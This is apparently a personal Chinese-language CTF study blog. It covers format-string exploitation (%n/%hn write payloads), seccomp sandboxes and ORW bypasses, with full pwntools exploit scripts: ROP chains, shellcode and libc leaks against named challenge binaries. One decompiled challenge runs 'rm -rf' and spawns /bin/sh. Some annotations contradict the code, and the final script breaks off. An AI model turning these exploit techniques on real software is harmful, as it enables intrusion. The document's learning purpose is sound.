leave ret:

mov rsp rbp;

pop rbp;

pop rip;

1

现在开始格式化字符串漏洞的知识点的总结。

什么是格式化字符串?

  • 在 C/C++ 等语言中,像 printf, sprintf, fprintf, syslog 等函数使用一个格式化字符串作为第一个参数。这个字符串包含普通文本和以 % 开头的格式化说明符。
  • 函数根据格式化说明符的指示,从后续的参数列表中读取相应数量和类型的参数,并将它们格式化后输出到目标(屏幕、字符串、文件等)。

漏洞成因:

  • 程序员错误: 当程序员允许用户输入直接作为格式化字符串传递给这些格式化输出函数时,漏洞就产生了。
  • 关键区别:
    • 正确用法: printf("%s", user_input); - 用户输入被当作一个普通的字符串参数传递给 %s。函数期望一个字符串地址作为第二个参数。
    • 漏洞用法: printf(user_input); - 用户输入本身被当作格式化字符串。如果用户输入中包含 % 开头的字符序列,函数会将其解释为格式化说明符。
  • 函数行为: 当遇到格式化说明符时,函数会假设在栈(或寄存器,取决于调用约定)上存在对应的参数。它就会按照格式化说明符的要求去读取内存中它“认为”是参数的位置。

漏洞危害:

  • 信息泄露 (Read):读取栈内存、函数返回地址、库函数地址、程序代码地址、Canary值、甚至任意地址的内容(如密码、密钥)。
  • 内存覆写 (Write):向栈内存、函数返回地址、全局偏移表 (GOT)、析构函数表 (DTORS)、任意地址写入数据,从而劫持程序控制流(执行任意代码)。
  • 程序崩溃: 读取或写入无效地址导致段错误。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
%s - 字符串读取 (Read)

功能: 期望一个指针(地址)作为参数。函数从该地址开始读取内存,直到遇到空字符 (\0),并将读取到的字节作为字符串输出。

漏洞利用 (信息泄露):

泄露栈内容: printf("%s"); - 函数会试图将当前栈上“它认为”是参数的位置(通常是格式化字符串指针后面的位置)解释为一个指针,并尝

试读取该指针指向的内存。如果这个位置恰好包含一个有效的(或可读的)地址,就能泄露该地址处的字符串。例如:

用户输入 "%s" -> 程序崩溃或泄露栈上某个地址处的数据。

用户输入 "AAAA%x%x%x%s" -> 先泄露几个栈值 (%x),然后用其中一个值作为指针 (%s) 去读内存。

泄露任意地址内容 (结合偏移):

构造 payload:<目标地址><格式化字符串>

利用 %k$s (其中 k 是偏移量) 指定将栈上第 k 个参数当作指针,用 %s 去读取。例如:

假设 <目标地址> 被放置在栈上第 8 个参数的位置。

Payload: "\x78\x56\x34\x12%8$s" (假设 0x12345678 是目标地址,小端序写入)。

printf 看到 %8$s,就会把栈上第 8 个位置的值 0x12345678 当作指针,读取该地址处的字符串并输出。

关键点: %s 是读取目标地址指向的内存内容(直到 \0),不是读取地址本身的值。地址本身通常需要用 %p 或 %x 泄露。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
%n - 写入已打印字符数 (Write)

功能: 期望一个 int *(指向整数的指针)作为参数。该功能是漏洞实现任意地址写的核心! 函数将到目前为止已成功输出的字符总数写入到
这个指针指向的内存位置。

漏洞利用 (内存覆写):

覆写栈变量/指针/返回地址: printf("AAAA%n"); - 函数试图将已打印的字符数 (4个 A,所以是4) 写入到栈上“它认为”是参数的位置(本
该是一个 int * 的地方)。如果该位置可写,值 4 就被写入了。这通常会导致崩溃或意外行为。

覆写任意地址 (结合偏移):

构造 payload:<目标地址><填充字符><%k$n> 或 <填充字符><%k$n><目标地址> (取决于目标地址在栈上的位置)。

利用 %k$n 指定将栈上第 k 个参数当作 int *,并将已打印字符数写入该地址。

例如,要写 0xdeadbeef (4字节) 到地址 0x0804a000:

需要先打印 0xdeadbeef (3, 737, 519, 343) 个字符?这几乎不可能,因为数字太大。

解决方案: 使用 %hn 或 %hhn 分多次写 2 字节或 1 字节。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
%hn - 写入已打印字符数 (短整型 - 2字节) (Write)

功能: 期望一个 short int *(指向短整型的指针)作为参数。将到目前为止已成功输出的字符总数(只取其低 16 位)写入到这个指针指向的内存位置(写入 2 个字节)。

为什么重要? 要写入的值(如地址、Shellcode 地址)通常很大(4字节或8字节)。一次性用 %n 写入一个巨大的数字(如 0x0804a000 =
134, 520, 832)需要构造极长的输出字符串,不现实且容易出错。%hn 允许我们分两次写入一个 4 字节值(高 16 位和低 16 位)或四次写
入一个 8 字节值。

漏洞利用 (精确内存覆写):

覆写任意地址的 2 字节 (Word):

构造 payload:<目标地址><填充字符><%k$hn>

%k$hn 将已打印字符数(模 65536)的低 16 位写入到第 k 个参数指向的地址(2字节)。

覆写任意地址的 4 字节 (Dword - 常用):

假设目标地址是 0x0804a000 (要写入的值 val = 0xdeadbeef)。

将地址拆分为高 16 位 (high = 0xdead) 和低 16 位 (low = 0xbeef)。

方法 1 (地址连续):

Payload: <addr_low><addr_high><填充使总字符数=low><%m$hn><填充使总字符数=high><%n$hn> (注意 low 和 high 可能小于之前打印
的字符数,需要用模运算调整)

其中 m 是 addr_low 在栈上的位置偏移,n 是 addr_high 在栈上的位置偏移(通常 n = m + 1 或 n = m + 2,取决于指针大小)。

第一个 %m$hn 将 low 写入 addr_low 指向的地址(即 0x0804a000)。

第二个 %n$hn 将 high 写入 addr_high 指向的地址(即 0x0804a000 + 2 = 0x0804a002)。

方法 2 (地址重叠 - 更紧凑):

Payload: <addr><填充使总字符数=low><%m$hn><填充使总字符数=high><%m$hn> (但这次 addr 指向 0x0804a000)

第一个 %m$hn 将 low (0xbeef) 写入 addr (0x0804a000)。

第二个 %m$hn 会再次写入 addr (0x0804a000)。但此时已打印字符数是 low + padding_for_high = 0xbeef + ... = high (假设填充计
算正确),所以将 high (0xdead) 写入 0x0804a000。覆盖了之前写入的低位!

错误! 需要写入 addr (0x0804a000) 和 addr+2 (0x0804a002)。方法 2 不正确。

正确方法 2 (两个不同地址):

Payload: <addr_high><addr_low><填充使总字符数=low><%p$hn><填充使总字符数=high_minus_low><%q$hn>

其中 p 是 addr_low 的偏移,q 是 addr_high 的偏移。

第一个 %p$hn 写 low 到 addr_low。

第二个 %q$hn 写 high 到 addr_high。注意 high_minus_low 可能需要模 65536 计算,如果 high < low 需要加 65536。

关键点: 精确计算需要打印的字符数(通过添加特定数量的填充字符,如 %1234d)来控制写入的值。写入顺序(先低后高或先高后低)取决于
目标地址的布局和值的大小关系(避免 high < low 时需要额外处理)。
1
2
3
4
5
6
7
8
9
10
11
%hhn - 写入已打印字符数 (字符 - 1字节) (Write)

功能: 期望一个 char *(指向字符的指针)作为参数。将到目前为止已成功输出的字符总数(只取其最低 8 位)写入到这个指针指向的内存位置(写入 1 个字节)。

为什么重要? 提供最精细的控制粒度。可以分 4 次写入一个 4 字节值或 8 次写入一个 8 字节值。对于写入小值或需要非常精确控制内存内

容的场景很有用。构造 payload 可能更长(需要更多次写入),但计算相对简单(模 256)。

漏洞利用 (极其精确的内存覆写): 原理与 %hn 类似,但分成 4 个字节 (4字节地址) 或 8 个字节 (64位地址)。Payload 包含目标地址的

4/8 个部分(每个部分 1 字节)和对应的 %k$hhn 及填充。计算每个阶段需要打印的字符数(模 256)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
%p, %x, %d - 泄露数据 (Read)

%p: 以指针格式(通常是十六进制带 0x 前缀)输出参数(一个地址)。

%x/%X: 以十六进制格式(无前缀)输出参数(一个无符号整数)。常用于泄露栈上的数据(可能包含指针或 Canary)。

%d/%u: 以十进制格式输出参数(有符号/无符号整数)。也能泄露栈数据。

漏洞利用 (信息泄露 - 栈勘查):

printf("%p %p %p %p %p"); - 连续泄露栈上多个位置的值(通常是格式化字符串指针之后的栈内容)。这是最开始的“探针”,用于:

定位用户输入的格式化字符串本身在栈上的位置(找偏移量 k)。

寻找栈上的返回地址、库函数地址、Canary 值等。

printf("%100$p"); - 直接泄露栈上第 100 个“参数”位置的值(如果存在)。

结合 %s 泄露任意地址内容(如前所述)。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
%k$ - 直接参数访问 (关键!)

功能: 这不是一个独立的说明符,而是修饰符。加在 % 和格式字符(如 s, n, x, p)之间,例如 %8$p, %3$s, %5$n, %10$hn。

含义: 显式指定使用格式化字符串后面的第 k 个参数(而不是按顺序使用下一个参数)。

为什么是漏洞利用的核心?

精准定位: 在格式化字符串漏洞中,攻击者可以精心构造输入字符串(包含目标地址和格式化说明符),并利用 %k$ 精确地告诉 printf 去

哪里找它需要的指针参数(用于 %s, %n, %hn, %hhn)。这使得攻击者能够读写任意指定的内存地址。

绕过不确定性: 栈的布局可能因环境而异。通过泄露栈内容(用 %p, %x),攻击者可以计算出目标地址需要放置在格式化字符串的哪个位置,进而确定正确的偏移量 k 用于 %k$。

示例:

假设通过泄露发现,用户输入的格式化字符串起始地址位于栈上第 7 个参数的位置。

攻击者 payload 开头写入 4 字节的目标地址 0x0804a000。

那么,这个目标地址就会出现在栈上第 7 个参数的位置(因为格式化字符串指针是第 1 个参数,payload 内容紧随其后)。

使用 %7$s 就可以尝试读取 0x0804a000 地址处的字符串。

使用 %7$n 就可以将已打印字符数写入 0x0804a000 地址处。

sandbox专题学习

刚刚学完栈迁移📚,发现 sandbox 🧱经常和栈迁移结合,于是就仔细学一下 sandbox 🤓!

💻 Sandbox绕过好像很多,也复杂 😤,这里只好记录一下ORW的学习 📝

orw

什么时候用orw

当程序开启沙箱保护,禁用一些系统调用,禁用execve等,使得我们不能通过使用system和execve来getshell。此时我们就要用到orw来解决这些问题。

orw是什么

orw就是open,read,write这三个函数的简写,打开flag,读取flag,写出flag通过这三步来得到flag。

sandbox的开启

第一种是利用prctl(),第二种是利用seccomp的库函数

(1) prctl():

在 Linux 系统编程中,prctl 函数结合 PR_SET_SECCOMPPR_SET_NO_NEW_PRIVS 标志可用于开启 seccomp(Secure Computing)沙箱,这是一种限制进程系统调用(syscall)的安全机制。

PR_SET_NO_NEW_PRIVS:

1
prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); #禁止进程及其子进程通过 execve 等获得新权限

PR_SET_SECCOMP:

严格模式SECCOMP_MODE_STRICT:仅允许 read, write, _exit, sigreturn 四个系统调用。

1
prctl(PR_SET_SECCOMP, SECCOMP_MODE_STRICT);

过滤器模式(SECCOMP_MODE_FILTER):自定义允许/拒绝的系统调用列表(通过 BPF 规则)。

1
2
struct sock_fprog filter = { ... };  // 定义 BPF 过滤器
prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &filter);

例子:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
struct sock_filter filter[] = {
// 检查系统调用号是否在允许列表
BPF_STMT(BPF_LD | BPF_W | BPF_ABS, offsetof(struct seccomp_data, nr)),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_openat, 0, 1), // 允许 openat
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
BPF_JUMP(BPF_JMP | BPF_JEQ | BPF_K, __NR_read, 0, 1), // 允许 read
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_ALLOW),
BPF_STMT(BPF_RET | BPF_K, SECCOMP_RET_KILL), // 拒绝其他
};
struct sock_fprog prog = {
.len = sizeof(filter) / sizeof(filter[0]),
.filter = filter,
};
//SECCOMP_RET_ALLOW:允许系统调用。
//SECCOMP_RET_KILL:立即终止进程。

(2)seccomp的库函数:例如libseccomp 库

例子:仅允许进程执行 exit_groupreadwrite 系统调用:

1
2
3
4
5
6
#include <seccomp.h>
scmp_filter_ctx ctx = seccomp_init(SCMP_ACT_KILL); // 默认拒绝所有
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(exit_group), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(read), 0);
seccomp_rule_add(ctx, SCMP_ACT_ALLOW, SCMP_SYS(write), 0);
seccomp_load(ctx); // 加载到内核

了解完这些,就开始学习如何解决它了(orw)

seccomp-tools查看沙箱

seccomp-tools可以用来查看沙箱的情况

安装:

1
2
3
sudo apt install gcc ruby-dev
sudo gem install seccomp-tools
seccomp-tools dump ./elf #elf换成你自己的文件名

1

可以看到那些函数是可以用的。

open、read、write函数的了解

open()函数:

函数原型

1
2
3
4
5
#include <fcntl.h>
#include <unistd.h>

int open(const char *pathname, int flags);
int open(const char *pathname, int flags, mode_t mode);
  1. pathname

    • 文件路径名(字符串),例如:"flag""/tmp/test.txt"
  2. flags

    • 打开文件的方式,比如只读、只写、读写等。
    • 可以组合多个标志(使用按位或 | 操作符)。
    标志常量 十六进制值 含义
    O_RDONLY 0x0 只读方式打开文件
    O_WRONLY 0x1 只写方式打开文件
    O_RDWR 0x2 读写方式打开文件

    系统调用号:

    • sys_open 的系统调用号是 5(十进制),即 0x5
    关键点 内容
    函数名 open()
    功能 打开或创建文件
    返回值 文件描述符(成功)或 -1(失败)
    常用 flag O_RDONLY, O_WRONLY, O_RDWR, O_CREAT, O_TRUNC, O_APPEND
    mode 参数 用于指定新文件权限,如 0644
    系统调用号 5(Linux x86)
    寄存器传参 eax=5, ebx=filename, ecx=flags, edx=mode

read()函数:

函数原型:

1
2
3
#include <unistd.h>

ssize_t read(int fd, void *buf, size_t count);
参数名 类型 含义
fd int 文件描述符(由 open() 或其他方式获得)
buf void* 用户空间的缓冲区地址,用来保存读取的数据
count size_t 要读取的最大字节数

系统调用号:

  • sys_read 的系统调用号是 3(十进制),即 0x3
1
2
3
4
5
6
寄存器传参方式(Linux x86):
寄存器 对应参数
eax 系统调用号:3
ebx 文件描述符 fd
ecx 缓冲区地址 buf
edx 要读取的字节数 count

write()函数:

函数原型:

1
2
3
#include <unistd.h>

ssize_t write(int fd, const void *buf, size_t count);
参数名 类型 含义
fd int 文件描述符(由 open() 或其他方式获得)
buf const void* 用户空间的缓冲区地址,包含要写入的数据
count size_t 要写入的最大字节数

系统调用号:

  • sys_write 的系统调用号是 4(十进制),即 0x4

寄存器传参方式(Linux x86):

寄存器 对应参数
eax 系统调用号:4
ebx 文件描述符 fd
ecx 缓冲区地址 buf
edx 要写入的字节数 count

做完了铺垫,现在就开始orw

shellcode绕过

首先,看看最简单的orw,在没有开启NX的条件下,可以直接写入这三个函数执行。

2

第一种直接用汇编写

1
2
3
4
#0x67616c66根据文件名改动 0x67616c66转ASCII-->flag
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')

具体解释一下这个汇编代码,根据上面对open,read,write函数的了解,汇编也就很好理解了。

1
2
3
4
5
6
7
8
#fd = open("flag", O_RDONLY);
push 0x0 ; 将0压栈,表示以只读方式打开文件(O_RDONLY)
push 0x67616c66 ; 将"flag"字符串的ASCII值压栈(注意字节顺序是反的,实际上是'flag')
mov ebx, esp ; 将栈顶指针赋值给ebx,作为文件名指针
xor ecx, ecx ; 清空ecx寄存器(第二个参数,O_RDONLY)
xor edx, edx ; 清空edx寄存器(第三个参数,权限模式,这里不需要)
mov eax, 0x5 ; 调用sys_open (系统调用号5)
int 0x80 ; 触发中断,执行系统调用
1
2
3
4
5
mov eax, 0x3           ; 调用sys_read (系统调用号3)
mov ecx, ebx ; 文件描述符(由上一步返回值在ebx中)
xor ebx, ebx ; 清空ebx,作为文件描述符0(标准输入)
mov edx, 0x100 ; 读取长度为256字节
int 0x80 ; 触发中断,执行系统调用
1
2
3
mov eax, 0x4           ; 调用sys_write (系统调用号4)
xor ebx, ebx ; 清空ebx,作为文件描述符1(标准输出)
int 0x80 ; 触发中断,执行系统调用

还可以通过传参传入flag的位置

1
2
3
4
5
6
7
8
9
#fd = open('home/pwn/flag',0) 0x804a094根据具体情况而定
s = ''' xor edx,edx; mov ecx,0; mov ebx,0x804a094; mov eax,5; int 0x80; '''

#read(fd,0x804a094,0x20)
s += ''' mov edx,0x40; mov ecx,ebx; mov ebx,eax; mov eax,3; int 0x80; '''

#write(1,0x804a094,0x20)
s += ''' mov edx,0x40; mov ebx,1; mov eax,4 int 0x80; '''
payload = asm(s)+b'/home/pwn/flag\x00'

第二种直接利用pwntools

1
2
3
4
5
payload = shellcraft.open('flag')        # Open 'flag' (fd returned in EAX)
payload += shellcraft.read(3, 0x804a090, 0x100) # Read from opened FD
payload += shellcraft.write(1, 0x804a090, 0x100) # Write to stdout (FD 1)
p.sendline(asm(payload))
#不知道为什么没打通理论上是可以的

2

exp:

1
2
3
4
5
6
7
8
9
from pwn import *
io = process("./orw")
io.recvuntil(b'shellcode:')
shellcode=asm('push 0x0;push 0x67616c66;mov ebx,esp;xor ecx,ecx;xor edx,edx;mov eax,0x5;int 0x80')
shellcode+=asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov edx,0x100;int 0x80')
shellcode+=asm('mov eax,0x4;mov ebx,0x1;int 0x80')
payload = shellcode
io.send(payload)
io.interactive()
ROP绕过

例题

1
2
3
4
5
6
7
8
9
10
int __fastcall main(int argc, const char **argv, const char **envp)
{
setvbuf(stdin, 0LL, 2, 0LL);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stderr, 0LL, 2, 0LL);
gift();
init_sandbox();
sandboxx();
return 0;
}
1
2
3
4
5
6
7
8
9
ssize_t sandboxx()
{
char buf[16]; // [rsp+0h] [rbp-10h] BYREF

puts("Welcome to the Sandbox Challenge");
puts("Maybe you need an open read wirte ");
printf("please input your name:");
return read(0, buf, 0x100uLL);
}
1
2
3
4
5
int gift()
{
puts("I will give you a nice little gift");
return printf("Leak: %p\n", &puts);
}

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./sandbox")
elf=ELF("./sandbox")
libc=ELF("libc.so.6")
def bug():
gdb.attach(p)
pause()

bss=0x404020+0x800
sandboxx = 0x4013ED
p.recvuntil("0x")
libc_base=int(p.recv(12),16)-libc.sym['puts']
print(hex(libc_base))
rdi=libc_base+0x0000000000023b6a
rsi=libc_base+0x000000000002601f
rdx_r12=libc_base+0x0000000000119431
rsp = libc_base + 0x000000000002f70a
open_addr=libc_base+libc.sym['open']
read_addr=libc_base+libc.sym['read']
write_addr=libc_base+libc.sym['write']

payload2=b'a'*0x10+b'a'*0x8+p64(rdi)+p64(0)+p64(rsi)+p64(bss)+p64(rdx_r12)+p64(0x100)+p64(0)+p64(read_addr)+p64(rsp)+p64(bss + 8)

p.recvuntil(b"name:")
p.send(payload2)


payload =b'/flag\x00\x00\x00'
payload +=p64(rdi)
payload +=p64(bss)
payload +=p64(rsi)
payload +=p64(0)
payload +=p64(open_addr)

payload +=p64(rdi)
payload +=p64(3)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(read_addr)

payload +=p64(rdi)
payload +=p64(1)
payload +=p64(rsi)
payload +=p64(bss+0x600)
payload +=p64(rdx_r12)
payload +=p64(0x100)*2
payload +=p64(write_addr)
payload +=p64(sandboxx )


p.send(payload)
p.interactive()

江西省赛

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *

#from LibcSearcher import *
context(arch='amd64',os='linux',log_level='debug')

#io = process("./vuln")
io = remote("",12345)

gs = '''
b *$rebase(0x19f2)
set debug-file-directory /home/zacsn/.config/cpwn/pkgs/2.31-
0ubuntu9.17/amd64/libc6-dbg_2.31-0ubuntu9.17_amd64/usr/lib/debug
set directories /home/zacsn/.config/cpwn/pkgs/2.31-0ubuntu9.17/amd64/glibcsource_2.31-0ubuntu9.17_all/usr/src/glibc/glibc-2.31
'''
s = lambda data : io.send(data)
sl = lambda data : io.sendline(data)
sa = lambda text, data : io.sendafter(text, data)
sla = lambda text, data : io.sendlineafter(text, data)
r = lambda : io.recv()
rl = lambda : io.recvline()
rn = lambda counts : io.recvn(counts)
ru = lambda text : io.recvuntil(text)
uu32 = lambda : u32(io.recvuntil(b"\xff")[-4:].ljust(4, b'\x00'))
uu64 = lambda : u64(io.recvuntil(b"\x7f")[-6:].ljust(8, b"\x00"))
iuu32 = lambda : int(io.recv(10),16)
iuu64 = lambda : int(io.recv(6),16)
uheap = lambda : u64(io.recv(6).ljust(8,b'\x00'))
lg = lambda data : io.success('%s -> 0x%x' % (data, eval(data)))
ia = lambda : io.interactive()
#gdb.debug(elf.path,gdbscript=gs)
#gdb.attach(io,gdbscript = gs)
#gdb.attach(io)

elf = ELF("./pwn")
libc = ELF("./libc.so.6")


pop_rdi = 0x00000000004013d3
ru(b"hello sandbox!")

payload = b'a' * 0x28 + p64(pop_rdi) + p64(elf.got['puts']) + p64(elf.plt['puts']) + p64(0x4012f9)

sl(payload)
ru(b'\x0a')
puts_addr = u64(rn(6)+b'\x00\x00')
lg("puts_addr")
libc_addr = puts_addr - libc.sym['puts']
lg("libc_addr")
open_addr = libc_addr + libc.sym['open']
read_addr = libc_addr + libc.sym['read']
write_addr = libc_addr + libc.sym['write']
pop_rsi = libc_addr + 0x000000000002601f
pop_rdx = libc_addr + 0x0000000000142c92
pop_rax = libc_addr + 0x0000000000036174
syscall = libc_addr+libc.search(asm("""syscall;ret""")).__next__()
bss_addr = 0x404200

ru(b"hello sandbox!")
payload2 = b'a' * 0x28 + p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(bss_addr) + p64(pop_rdx) + p64(0x10) + p64(read_addr)
payload2 += p64(pop_rdi) + p64(bss_addr) + p64(pop_rsi) + p64(0) + p64(pop_rdx) + p64(0) + p64(pop_rax) + p64(2) + p64(syscall)
payload2 += p64(pop_rdi) + p64(3) + p64(pop_rsi) + p64(bss_addr + 0x100) + p64(pop_rdx) + p64(0x30) + p64(read_addr)
payload2 += p64(pop_rdi) + p64(1) + p64(pop_rsi) + p64(bss_addr + 0x100) + p64(pop_rdx) + p64(0x30) + p64(write_addr)

#gdb.attach(io)
sl(payload2)

sleep(1)
sl(b"./flag\x00\x00")

ia()

今天先写到这✍️,以后还会接着写📖,但是明天就要开始着手学堆了🔥,不然很多比赛都打不了🏆💪。

ctfshow pwn69

1
2
3
4
5
6
7
8
int sub_400A16()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Now you can use ORW to do");
read(0, buf, 0x38uLL);
return puts("No you don't understand I say!");
}
1
2
3
4
5
6
7
8
9
10
11
12
13
 line  CODE  JT   JF      K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x05 0xffffffff if (A != 0xffffffff) goto 0010
0005: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0009
0006: 0x15 0x02 0x00 0x00000001 if (A == write) goto 0009
0007: 0x15 0x01 0x00 0x00000002 if (A == open) goto 0009
0008: 0x15 0x00 0x01 0x0000003c if (A != exit) goto 0010
0009: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0010: 0x06 0x00 0x00 0x00000000 return KILL

可以看到orw是可以的,所以我们要先利用read将orw读到

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
from pwn import *

context(arch='amd64',os='linux',log_level='debug')
elf = ELF('./pwn')
p = remote('pwn.challenge.ctf.show','28191')

mmap = 0x123000
orw_shellcode = shellcraft.open("./ctfshow_flag")
orw_shellcode += shellcraft.read(3,mmap,100)
orw_shellcode += shellcraft.write(1,mmap,100)
orw_shellcode = asm(orw_shellcode)

jmp_rsp_addr = 0x400a01
buf_shellcode = asm(shellcraft.read(0,mmap,100)) + asm("mov rax,0x123000; jmp rax")
buf_shellcode = buf_shellcode.ljust(0x28,b'\x00')
buf_shellcode += p64(jmp_rsp_addr) + asm("sub rsp,0x30; jmp rsp")


p.recvuntil('do')
p.sendline(buf_shellcode)
p.sendline(orw_shellcode)
p.interactive()

这一部分是标准的orw

1
2
3
4
orw_shellcode = shellcraft.open("./ctfshow_flag")
orw_shellcode += shellcraft.read(3,mmap,100)
orw_shellcode += shellcraft.write(1,mmap,100)
orw_shellcode = asm(orw_shellcode)

这部分我来详细解释一下

1
2
3
buf_shellcode = asm(shellcraft.read(0,mmap,100)) + asm("mov rax,0x123000; jmp rax")
buf_shellcode = buf_shellcode.ljust(0x28,b'\x00')
buf_shellcode += p64(jmp_rsp_addr) + asm("sub rsp,0x30; jmp rsp")

asm(shellcraft.read(0,mmap,100)):这是汇编代码,用于调用read系统调用,从标准输入读取最多100字节的数据到地址0x123000。

asm(“mov rax,0x123000; jmp rax”):先将0x123000放入rax,然后jmp rax执行shellcode,为什么是sellcode呢等下再说。

p64(jmp_rsp_addr):将返回地址覆盖成jmp rsp,此时程序跳转到 rsp 指向的位置,即 asm("sub rsp, 0x30; jmp rsp")因为pop ebp后rsp

增高0x08。

asm(“sub rsp,0x30; jmp rsp”):sub rsp,0x30使得rsp减0x30到达了buf的起始位置,jmp rsp就开始执行了。

然后我来看看整个流程。

p.sendline(buf_shellcode)后,栈上

1
2
3
4
read(0,mmap,100)
buf_shellcode.ljust(0x28,b'\x00')
p64(jmp_rsp_addr) # return_addr
asm("sub rsp,0x30; jmp rsp")

有第二部分的分析我们知道rsp此时已经达到buf的起始位置开始执行read了,所以我们才有第二次send。

我们把标准的orw输入后,同理rsp又会回到起始位置开始执行orw,最终得到flag。

newstar2025 noshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
int __fastcall main(int argc, const char **argv, const char **envp)
{
__int64 v3; // rax
__int64 v5; // [rsp+8h] [rbp-108h] BYREF
char buf[256]; // [rsp+10h] [rbp-100h] BYREF

init(argc, argv, envp);
write(1, "Your Power Has Been Restricted!\n", 0x20uLL);
write(1, "But your mind is still free!\n", 0x1DuLL);
write(1, "Do you want to say something?\n", 0x1EuLL);
if ( getchar() == 121 || getchar() == 89 )
{
read(0, buf, 0xFFuLL);
buf[255] = 0;
}
else
{
write(1, "You chose not to say anything.\n", 0x20uLL);
}
write(1, "leave or capture the flag?\n", 0x1CuLL);
__isoc99_scanf("%lld", &v5);
if ( v5 <= 0 )
{
v3 = 1LL;
}
else
{
v3 = v5;
if ( v5 > 2 )
v3 = 2LL;
}
v5 = v3;
if ( v3 == 1 )
{
write(1, "You chose to leave.\n", 0x14uLL);
exit(0);
}
if ( v5 == 2 )
write(1, "You chose to capture the flag!\n", 0x1FuLL);
challenge();
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
void __noreturn challenge()
{
int v0; // [rsp+Ch] [rbp-4h] BYREF

while ( 1 )
{
write(1, "Welcome to the challenge!\n", 0x1AuLL);
write(1, "Please Make choice:\n", 0x14uLL);
write(1, "1. Check your power\n", 0x14uLL);
write(1, "2. Get the power of your cat\n", 0x18uLL);
write(1, "3. Open the door\n", 0x11uLL);
write(1, "4. Destroy this world\n", 0x16uLL);
write(1, "5. leave this world\n", 0x14uLL);
write(1, "your choice: ", 0xDuLL);
__isoc99_scanf("%d", &v0);
switch ( v0 )
{
case 1:
Check_your_power();
break;
case 2:
Get_the_power_of_your_cat();
break;
case 3:
open_the_door();
break;
case 4:
destroy_this_world();
break;
case 5:
write(1, "Goodbye!\n", 9uLL);
exit(0);
default:
write(1, "Invalid choice!\n", 0x10uLL);
break;
}
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
ssize_t Check_your_power()
{
char buf[32]; // [rsp+0h] [rbp-20h] BYREF

puts("Your power:");
printf("%d\n", (unsigned int)off);
puts("say something:");
return read(0, buf, off);
}

int Get_the_power_of_your_cat()
{
int result; // eax

result = puts("cat help you");
off = 256;
return result;
}

int open_the_door()
{
int fd; // [rsp+Ch] [rbp-4h]

fd = open("flag.txt", 0);
close(fd);
return puts("The door is closed!");
}

int destroy_this_world()
{
int v1; // [rsp+Ch] [rbp-4h] BYREF

puts("make a choice:");
__isoc99_scanf("%d", &v1);
if ( v1 )
return system("rm -rf ./flag");
else
return system("/bin/sh");
}

这个sandbox,open,write,read地址都给了,感觉就难在长度的限制要利用上mov rdi rax;ret这个,最后一个rop链

锁了几个小时终于通了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
from pwn import *

context(arch='amd64', os='linux', log_level='debug')


def debug():
gdb.attach(p)
pause()


p = remote('ip', port)
# p=process('./noshell')
#elf = ELF('./noshell')

open_addr = 0x4011E0
read_addr = 0x4011B0
write_addr = 0x401150
bss_addr= 0x404000 + 0x200
flag = 0x402034
pop_rdi = 0x4013f3
pop_rsi = 0x4013f5
pop_rdx = 0x4013f7
ret = 0x4014CA
mov_rdi_rax = 0x00000000004013f9
p.recvuntil(b'Do you want to say something?\n')
p.sendline(b'y')
